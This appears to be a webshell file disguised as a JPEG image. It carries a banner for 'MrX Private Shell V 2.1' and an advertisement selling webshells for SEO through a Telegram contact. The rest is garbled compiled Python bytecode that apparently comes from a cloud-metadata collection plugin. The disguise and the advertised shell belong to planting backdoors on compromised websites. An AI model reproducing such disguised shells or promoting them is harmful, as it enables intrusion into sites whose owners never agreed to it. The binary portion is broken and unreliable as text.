����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
��i� � @ sV d dl Z d dlmZ d dlmZ d dlmZ d dlmZm Z m
Z
G dd� dee �ZdS )� N)�Any)�request)�URLError)�Plugin�IndependentPlugin� PluginOptc @ s� e Zd ZdZdZdZedddd�gZdZd Z d
Z
dZdd
� Zdd� Z
dd� Zed�dd�Zeed�dd�Zdd� Zeeed�dd��ZdS )�GCPzGoogle Cloud Platform�gcp)Zvirt�keep-piiFzyStop the plugin from removing PIIs like project name or organization ID from the metadata retrieved from Metadata server.)�defaultZdescz(/sys/devices/virtual/dmi/id/product_namezBhttp://metadata.google.internal/computeMetadata/v1/?recursive=truez[--REDACTED--]Nc C sZ z@t | jdd��}d|�� v W d � W S 1 s40 Y W n tyT Y dS 0 dS )zo
Checks if this plugin should be executed based on the presence of
GCE entry in sysfs.
zutf-8)�encodingzGoogle Compute EngineNF)�open�PRODUCT_PATH�read�OSError)�selfZsys_file� r �:/usr/lib/python3.9/site-packages/sos/report/plugins/gcp.py�
check_enabled$ s
0zGCP.check_enabledc C s$ | j ddgd� | jddgd� dS )z�
Collect the following info:
* `gcloud auth list` output
* Any google services output from journal
zgcloud auth listr ��tagszgoogle*)Zunitsr N)Zadd_cmd_outputZadd_journal�r r r r �setup/ s z GCP.setupc C s� | j ddgd��p}z,| �� | _| �� |�tj| jdd�� W n2 typ } z|�t|�� W Y d }~n
d }~0 0 W d � n1 s�0 Y d S )Nz
metadata.jsonr r � )�indent) Zcollection_file�get_metadata�metadata�scrub_metadata�write�json�dumps�RuntimeError�str)r Zmfile�errr r r �collect<